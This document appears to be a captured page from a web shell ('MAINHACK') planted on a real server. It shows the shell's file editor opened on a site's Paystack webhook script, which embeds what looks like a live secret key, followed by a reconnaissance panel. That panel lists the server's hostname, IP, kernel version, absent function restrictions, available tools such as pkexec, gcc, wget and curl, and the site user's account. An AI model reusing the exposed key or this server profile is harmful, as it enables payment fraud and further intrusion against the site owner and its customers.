[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: webhook.php
<?php // Read the raw POST data $input = @file_get_contents("php://input"); $event = json_decode($input, true); // Verify the signature to confirm it's from Paystack $secret_key = 'sk_live_c472f0bd96452d599a6bc760e943f1915566d5c9'; // Replace with your Paystack secret key (test or live) $header_signature = isset($_SERVER['HTTP_X_PAYSTACK_SIGNATURE']) ? $_SERVER['HTTP_X_PAYSTACK_SIGNATURE'] : ''; if (!$header_signature) { http_response_code(400); exit(); } // Compute the expected signature $computed_signature = base64_encode(hash_hmac('sha512', $input, $secret_key, true)); if ($header_signature !== $computed_signature) { http_response_code(400); exit(); } // Respond with 200 OK immediately to acknowledge receipt (Paystack retries on non-200) http_response_code(200); // Now process the event (do this asynchronously in production if it takes time) if ($event['event'] === 'charge.success') { $data = $event['data']; $reference = $data['reference']; $status = $data['status']; if ($status === 'success') { // Access basic details $amount = $data['amount'] / 100; // Convert to main currency unit $currency = $data['currency']; $email = $data['customer']['email']; // Custom form data (if any) $custom_fields = isset($data['metadata']['custom_fields']) ? $data['metadata']['custom_fields'] : []; // Example: Log or update database error_log("Successful Payment: Reference $reference, Amount: $amount $currency, Email: $email"); if (!empty($custom_fields)) { foreach ($custom_fields as $field) { error_log($field['display_name'] . ': ' . $field['value']); } } // Add your business logic: e.g., update order status, send email, fulfill service // Ensure idempotency: Check if this reference was already processed to avoid duplicates } } else { // Handle other events if needed (e.g., charge.failed) } // No further output needed exit(); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002